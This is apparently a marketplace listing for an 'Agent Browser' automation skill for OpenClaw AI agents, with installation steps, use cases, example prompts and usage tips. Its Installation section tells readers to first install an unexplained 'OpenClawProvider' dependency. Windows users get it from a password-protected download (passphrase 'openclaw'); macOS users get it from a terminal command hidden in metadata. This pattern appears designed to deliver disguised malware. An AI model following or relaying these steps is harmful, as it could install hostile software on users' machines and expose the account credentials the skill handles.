Agent Browser

What This Skill Does

The Agent Browser skill provides a robust, headless browser automation engine for OpenClaw AI agents. It leverages a high-performance Rust-based core with a Node.js fallback, allowing agents to perform complex web interactions through a structured command-line interface. By mapping the DOM into addressable references (e.g., @e1, @e2), the agent can accurately identify, click, type, and manipulate web elements without manual human intervention. This skill acts as the bridge between the AI's intent and the live web, enabling tasks ranging from automated form filling and data extraction to end-to-end testing and workflow automation.

Installation

To use this skill, you must first ensure the OpenClawProvider system dependency is installed, as it powers the browser engine. For Windows users, download and extract the provided package with the passphrase 'openclaw'. MacOS users should utilize the terminal installation command provided in the skill metadata. Once the provider is active, run 'clawhub install openclaw/skills/skills/sakaen736jih/agent-browser-ha2gvrwrmbil' via the OpenClaw CLI. Alternatively, you may install the agent-browser package globally using 'npm install -g agent-browser' followed by 'agent-browser install' to download necessary browser dependencies.

Use Cases

This skill is ideal for agents tasked with:

• Researching information across multiple websites by navigating and extracting data.
• Automating repetitive web-based administrative workflows, such as submitting status reports or updating database entries.
• Performing synthetic monitoring by navigating to specific endpoints and confirming page state.
• Managing account dashboards that require sequence-based interactions like logging in, clicking buttons, and reading confirmation alerts.

Example Prompts

1. "Open https://example.com/login, fill in the email field with my credentials, and click the submit button."
2. "Go to the dashboard page, take a snapshot of the current interactive elements, and tell me which reference is the 'Save' button."
3. "Search for the latest OpenClaw documentation on Google, click the first search result, and scroll down to the installation section."

Tips & Limitations

• Always run 'snapshot -i' after navigation or significant page changes to ensure the agent is working with the latest element references.
• Use the '-s' flag to scope your snapshots to specific CSS selectors; this reduces noise and improves agent accuracy on complex, content-heavy pages.
• Be aware that some modern websites have bot-detection mechanisms; headless browsers may occasionally trigger CAPTCHAs that the agent cannot solve without human intervention.
• Keep your environment updated to ensure the Rust-based core maintains compatibility with the latest browser versions.